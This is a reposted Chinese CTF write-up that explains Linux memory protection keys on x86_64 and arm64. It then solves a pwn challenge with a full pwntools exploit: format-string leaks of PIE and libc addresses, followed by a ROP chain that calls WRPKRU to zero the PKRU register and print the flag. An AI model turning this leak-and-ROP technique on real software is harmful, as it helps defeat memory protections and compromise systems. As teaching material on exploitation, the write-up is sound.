[PWN]Linux中的pkeys安全机制及绕过

admin 2026-02-06 02:12:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析LinuxPkeys内存保护机制原理及架构差异。通过CTF案例演示利用随机污染PKRU寄存器限制内存访问的技术,并提出利用格式化字符串泄露地址结合ROP链调用WRPKRU指令重置权限的绕过方法,成功解除Pkeys保护限制,为绕过该安全机制提供了具体的实战思路与参考。 综合评分: 90 文章分类: CTF,二进制安全,漏洞分析


cover_image

[PWN] Linux中的pkeys安全机制及绕过

h01mes h01mes

看雪学苑

2026年2月5日 17:59 上海

简单介绍

(Memory Protection Keys for Userspace,PKU,亦 即PKEYs)内存保护键提供了一种强制实施基于页的保护机制,可以快速调整某些内存区域的执行权限,而不是像传统的mprotect那样,触发页表项的修改,从而导致TLB(快速查找缓存)刷新,影响性能。

先来说说传统的mprotect(),它的工作机制是通过修改目标内存区域的页表项(PTE)的权限位实现内存保护,属于进程全局事件,会导致TLB的刷新,因此切换权限成本高。

pkeys是通过在页表中写入静态保护键标识,真正权限定义在线程局部寄存器中,需要修改目标内存区域的权限只需要修改寄存器就行了,作用局限于线程,不涉及页表和TLB的修改,权限切换非常高效。

x86_64实现

x86_64架构中,每个页表中,将 4 个先前保留的位专门用于一个“保护键”,从而提供16 个可能的键

0000 → Pkey 0
0001 → Pkey 1
0010 → Pkey 2
…
1111 → Pkey 15

每个键的保护由一个 per-CPU 用户可访问寄存器 (PKRU) 定义。每个 PKRU 都是一个32 位寄存器,为 16 个键中的每个键存储两位访问禁用和写入禁用)。也就是说PKRU寄存器存储16个保护键的权限,每个保护键占用2位,可以组合为4种权限,每个保护键对应的权限设置被称为一个控制集

00:无权限
01:只读(写入禁用)
10:无访问(访问禁用)
11:读写(无禁用)

举个栗子:假设有一个线程,它的内存中有三个不同的区域,并且这三个区域被分别分配了不同的保护键:

区域 A(保护键 Pkey 0):只读(只能读取,不能写入)
区域 B(保护键 Pkey 1):可读可写(可以读取,也可以写入)
区域 C(保护键 Pkey 2):禁止访问(既不能读取,也不能写入)

然后,线程的PKRU 寄存器中可能存储的内容是:

Pkey 0:只读
Pkey 1:可读可写
Pkey 2:禁止访问
  • 如果线程访问区域 A,它只能读取数据,无法写入。
  • 如果线程访问区域 B,它可以同时读取和写入数据。
  • 如果线程访问区域 C,它根本无法访问这块内存,系统会阻止这个访问。

有两条特殊指令管理保护键的读写:

RDPKRU:用于读取当前线程的保护键权限设置。通过这条指令,CPU 将返回一个32位值,包含当前线程的所有保护键的权限设置。

WRPKRU:用于更新当前线程的保护键权限设置。通过这条指令,操作系统或应用程序可以修改特定保护键的访问权限。

PKRU是与线程绑定的,也就是说,不同的线程可以有不同的保护键权限设置。由于 PKRU 寄存器是per-CPU的,每个线程的保护权限都可以在不同的 CPU 上独立设置。同样,当一个线程在不同的 CPU 核心上切换时,操作系统会保证 PKRU 寄存器的状态(即保护键权限)正确地切换,以确保内存访问控制的一致性。

保护键主要应用于内存页的访问控制。在数据访问时,Pkey 的权限会被强制执行,但它对指令获取(如程序代码段的访问)没有影响。这意味着x86下的Pkeys只对用户空间内存的读写权限有控制作用,无法对代码段执行权限进行限制

arm64实现

arm64就简单介绍一下,在arm64下,Pkeys 在每个页表项中使用 3 位来编码一个“保护键索引”,从而提供 8 个可能的键:

000 → Pkey 0
001 → Pkey 1
010 → Pkey 2
011 → Pkey 3
100 → Pkey 4
101 → Pkey 5
110 → Pkey 6
111 → Pkey 7

每个键的保护由一个 per-CPU 用户可写系统寄存器 (POR_EL0) 定义。这是一个 64 位寄存器,用于编码每个保护键索引的读、写和执行覆盖权限。

arm64下实现的pkeys也是线程独立的,但是arm64_pkeys的保护键权限不仅适用于数据控制访问,也适用于程序代码的执行权限

系统调用

有 3 个系统调用直接与 pkeys 交互:

  • pkey_alloc():分配一个新的保护键。
  • pkey_free():释放之前分配的保护键。
  • pkey_mprotect():修改内存区域的保护权限。

pkey_alloc()

intpkey_alloc(unsignedlong flags, unsignedlong init_access_rights);

这个系统调用用来分配一个新的保护键(Pkey)。

  • flags:控制标志,目前通常为 0。
  • init_access_rights:设置这个保护键的初始访问权限。这个值通常会传递像 PKEY_DISABLE_WRITE 这样的标志,用于初始化该保护键的权限。

返回分配的保护键的 ID,成功时返回保护键的 ID,失败时返回负数。

pkey_free()

intpkey_free(int pkey);

这个调用会释放之前分配的保护键。

  • pkey:要释放的保护键的 ID。

成功时返回 0,失败时返回负数。

pkey_mprotect()

intpkey_mprotect(unsignedlong start, size_t len, unsignedlong prot, int pkey)

这个调用可以修改指定内存区域的保护权限,并将其与指定的保护键关联。

  • start:要修改保护权限的内存区域的起始地址。
  • len:要修改的内存区域的长度。
  • prot:新的访问权限,类似于mprotect() 中使用的 PROT_READ、PROT_WRITE 等标志。
  • pkey:要关联的保护键。

成功时返回 0,失败时返回负数。

下面用一道题介绍CTF PWN中pkeys的使用和绕过

?CTF week3 弥达斯之触

源码:

#define _GNU_SOURCE
#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<unistd.h>
#include&nbsp;<memory.h>
#include&nbsp;<sys/mman.h>
#include&nbsp;<bpf_insn.h>
#include&nbsp;<linux/filter.h>
#include&nbsp;<sys/prctl.h>
#include&nbsp;<seccomp.h>
#include&nbsp;<stddef.h>

// __attribute__((constructor))
voidthe_curse_of_midas()&nbsp;{
struct&nbsp;sock_filter&nbsp;filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,&nbsp;offsetof(struct&nbsp;seccomp_data, nr)),
// 加载系统调用号到寄存器

// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 6, 0),
// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 5, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open,&nbsp;4,&nbsp;0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat,&nbsp;3,&nbsp;0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mmap,&nbsp;2,&nbsp;0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mprotect,&nbsp;1,&nbsp;0),

// 只允许上述调用
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

//其他全kill
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
&nbsp; &nbsp; };
struct&nbsp;sock_fprog&nbsp;prog = {
&nbsp; &nbsp; &nbsp; &nbsp; .len =&nbsp;sizeof(filter)/sizeof(filter[0]),
&nbsp; &nbsp; &nbsp; &nbsp; .filter = filter,
&nbsp; &nbsp; };

if&nbsp;(prctl(PR_SET_NO_NEW_PRIVS,&nbsp;1,&nbsp;0,&nbsp;0,&nbsp;0)) {
perror("prctl(NO_NEW_PRIVS)");
&nbsp; &nbsp; }

if&nbsp;(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) !=&nbsp;0) {
perror("prctl(SECCOMP)");
&nbsp; &nbsp; }

asm(
"mov rdx, 0xf;"
"begin:;"
"dec rdx;"
"jz end;"
"mov rax, 0x14a;"//这里是pkey_mprotect()
"xor edi, edi;"
"mov rsi, 1;"
"syscall;"
"jmp begin;"
"end:;"
&nbsp; &nbsp; );
}

//自定义pkey,在这里实现了pkeys
int&nbsp;_mprotect(void&nbsp;*addr,&nbsp;__int64_t&nbsp;len,&nbsp;int&nbsp;prot)
{
int&nbsp;pkey = (rand()%15)+1;//随机生成pkey 1~15
asm&nbsp;volatile(
"mov rax, %4;"&nbsp;&nbsp;// syscall number
"mov rdi, %0;"&nbsp;&nbsp;// 1st arg: addr
"mov rsi, %1;"&nbsp;&nbsp;// 2nd arg: len
"mov rdx, %2;"&nbsp;&nbsp;// 3rd arg: prot
"mov r10d, %3;"&nbsp;// 4th arg: pkey
"syscall;"//这里是pkey_alloc()(0x149)
&nbsp; &nbsp; &nbsp; &nbsp; :
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"r"(addr),&nbsp;"r"(len),&nbsp;"r"(prot),&nbsp;"r"(pkey),&nbsp;"i"(0x149)
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"rax",&nbsp;"rdi",&nbsp;"rsi",&nbsp;"rdx",&nbsp;"r10",&nbsp;"rcx",&nbsp;"r11",&nbsp;"memory"
&nbsp; &nbsp; );
}

voidinit(void&nbsp;*secret){
setbuf(stdin,&nbsp;0);
setbuf(stdout,&nbsp;0);
setbuf(stderr,&nbsp;0);
srand(((longlong)rand())>>24);
int&nbsp;fd =&nbsp;open("/flag",&nbsp;0,&nbsp;0);
read(fd, secret,&nbsp;0x100);
close(fd);

the_curse_of_midas();
&nbsp; &nbsp; _mprotect(secret,&nbsp;0x1000,&nbsp;7);
}

char&nbsp;buf[0x100];
intmain(){
void&nbsp;*secret_of_midas =&nbsp;mmap(0x1000,&nbsp;0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,&nbsp;-1,&nbsp;0);
init(secret_of_midas);

printf("远道而来的年轻人,你也是来寻找弥达斯的秘密吗?\n");
read(0, buf,&nbsp;20);
printf(buf);
printf("噢不,噢不,你太心急了。\n");
&nbsp; &nbsp; _mprotect(secret_of_midas,&nbsp;0x1000,&nbsp;1);
sleep(1);

printf("那些关于黄金的诅咒,正在这片古老土地的血管里涌动。\n");
sleep(1);

printf("你应当保持警惕。\n");
sleep(1);

printf("那么,告诉我你的名字,我将引领你去往神圣之地:\n");
read(0, buf,&nbsp;0x100);
printf("有趣。去你想去的地方吧。\n");
asm("mov rbp, %0;"
&nbsp; &nbsp; &nbsp; &nbsp; :
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"r"(buf)
&nbsp; &nbsp; );
}

这里面用到了两个pkeys相关的系统调用:

0x14a    __NR_pkey_mprotect  给某个页设置权限 + 附加 PKey
0x149    __NR_pkey_alloc &nbsp; &nbsp; 分配一个 PKey

先看这段代码:

asm(
"mov rdx, 0xf;"
"begin:;"
"dec rdx;"
"jz end;"
"mov rax, 0x14a;"&nbsp; &nbsp;// 系统调用号
"xor edi, edi;"&nbsp; &nbsp; &nbsp;// addr = NULL
"mov rsi, 1;"&nbsp; &nbsp; &nbsp; &nbsp;// len = 1
"syscall;"
"jmp begin;"
"end:;"
);

正常pkey_mprotect(addr,len,prot,pkey)应用于有效内存,但这里给的地址无效

当 addr 无效时,pkey_mprotect不会设置页权限,但仍然更新 pkru 中对应 pkey 的权限位。

所以这里是随机修改不同 pkey 的读/写权限,使得未来分配的 pkey 权限是不可预测的。

再看这段:

int&nbsp;_mprotect(void&nbsp;*addr,&nbsp;__int64_t&nbsp;len,&nbsp;int&nbsp;prot)
{
int&nbsp;pkey = (rand()%15)+1;
asm&nbsp;volatile(
"mov rax, %4;"&nbsp;&nbsp;// syscall number
"mov rdi, %0;"&nbsp;&nbsp;// 1st arg: addr
"mov rsi, %1;"&nbsp;&nbsp;// 2nd arg: len
"mov rdx, %2;"&nbsp;&nbsp;// 3rd arg: prot
"mov r10d, %3;"&nbsp;// 4th arg: pkey
"syscall;"
&nbsp; &nbsp; &nbsp; &nbsp; :
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"r"(addr),&nbsp;"r"(len),&nbsp;"r"(prot),&nbsp;"r"(pkey),&nbsp;"i"(0x149)
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"rax",&nbsp;"rdi",&nbsp;"rsi",&nbsp;"rdx",&nbsp;"r10",&nbsp;"rcx",&nbsp;"r11",&nbsp;"memory"
&nbsp; &nbsp; );
}

其内部随机选择 pkey,而当后面flag 所在内存执行这句:

_mprotect(secret,&nbsp;0x1000,&nbsp;7);

会从1~15随机选取一个pkey,而这 15 个 key 此时权限早已被the_curse_of_midas()随机污染。

所以当_mprotect绑定页时,权限不可预测,大多数情况下不能直接读,限制了读取flag

看这里:

_mprotect(secret,&nbsp;0x1000,&nbsp;7);

7 =

PROT_READ(1) |
PROT_WRITE(2) |
PROT_EXEC(4)

此时页表层面权限是RWX,但PKRU层面是根据pkey附加限制覆盖访问权限的,所以最后大概率不能直接读flag。

那么如何绕过呢?

之前提到有两条特殊指令管理保护键的读写,分别是RDPKRUWRPKRU,其中WRPKRU可以修改特定保护键的访问权限。

在题目给的libc库中寻找这条指令:

偏移是0x126256

WRPKRU的使用约束是ECX 和 EDX 必须为 0。如果不满足,结果未定义或者会 #UD(非法指令行为)

PKRU权限表如下:

| AD | WD | 含义 | | — | — | — | | 0 | 0 | 读写允许(R/W) | | 0 | 1 | 只读(R) | | 1 | 0 | 禁止访问(既不能读也不能写) | | 1 | 1 | 禁止访问(同上) |

而参照这个表,我们肯定想修改目标区域权限为00(可读可写),而在EAX(装载 PKRU 的值)里写一个0,EAX = 0x00000000

直接就可以把全部pkey权限都变成00

| pkey | 对应 PKRU bit | | — | — | | 0 | bit 1..0 | | 1 | bit 3..2 | | 2 | bit 5..4 | | … | … | | 15 | bit 31..30 |

| 所有 pkey | AD = 0 | WD = 0 | 权限 | | — | — | — | — | | PKEY 0 | 0 | 0 | 可读写 | | PKEY 1 | 0 | 0 | 可读写 | | PKEY 2 | 0 | 0 | 可读写 | | … | … | … | … | | PKEY 15 | 0 | 0 | 可读写 |

知道这些就可以写exp了

先看fmt的偏移

0x1的偏移是8

用这条绕过pie(其实没必要,顺手绕一下),fmt偏移是11,程序基址偏移是0x153B

这条泄露libc,fmt偏移是29,libc偏移是0x29e40

在根目录放个flag测试文件

exp

from&nbsp;pwn&nbsp;import&nbsp;*
context.arch='amd64'
context.log_level='debug'

#p=remote('challenge.ilovectf.cn',30377)
p=process('./midas')
elf=ELF('./midas')
libc=ELF('./libc.so.6')

fmt=b'%11$p%29$p'
p.recvuntil('\n')
p.send(fmt)

p.recvuntil(b'0x')
base=int(p.recv(12),16)-0x153b
success(f"pie:{hex(base)}")

p.recvuntil(b'0x')
libcbase=int(p.recv(12),16)-0x29e40
success(f"libc:{hex(libcbase)}")

wrpkru=libcbase+0x126256

rdi = libcbase + libc.search(asm("pop rdi; ret"), executable=True).__next__()
rsi = libcbase + libc.search(asm("pop rsi; ret"), executable=True).__next__()
dx_cx_bx = libcbase + libc.search(asm("pop rdx; pop rcx; pop rbx; ret;"), executable=True).__next__()
rax = libcbase + libc.search(asm("pop rax; ret"), executable=True).__next__()

pl=b'a'*8+p64(rdi+1)+p64(dx_cx_bx)+p64(0)*3+p64(rax)+p64(0)+p64(wrpkru)+p64(rdi)+p64(0x10000)+p64(libcbase+libc.sym['puts'])
sleep(3)

#gdb.attach(p)
p.send(pl)

p.interactive()

在输入后打个断点,看到此时pkru寄存器的值是0x55555554

被改成了0x0

成功绕过并输出flag

exp小贴士:可以注意到payload中在覆盖掉rbp后,又加了一个p64(rdi+1)(=ret),这是为了保证栈对齐。

在调用libc时,调用点的RSP必须是16字节对齐(即进入callRSP%16 == 8),这是为了满足 System V ABI 对齐规则。

#

看雪ID:h01mes

https://bbs.kanxue.com/user-home-1015416.htm

*本文为看雪论坛精华文章,由 h01mes 原创,转载请注明来自看雪社区

往期推荐

逆向分析某手游基于异常的内存保护

解决Il2cppapi混淆,通杀DumpUnityCs文件

记录一次Unity加固的探索与实现

DLINK路由器命令注入漏洞从1DAY到0DAY

量子安全 quantum ctf Global Hyperlink Zone Hack the box

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 h01mes h01mes《[PWN] Linux中的pkeys安全机制及绕过》

评论:0   参与:  0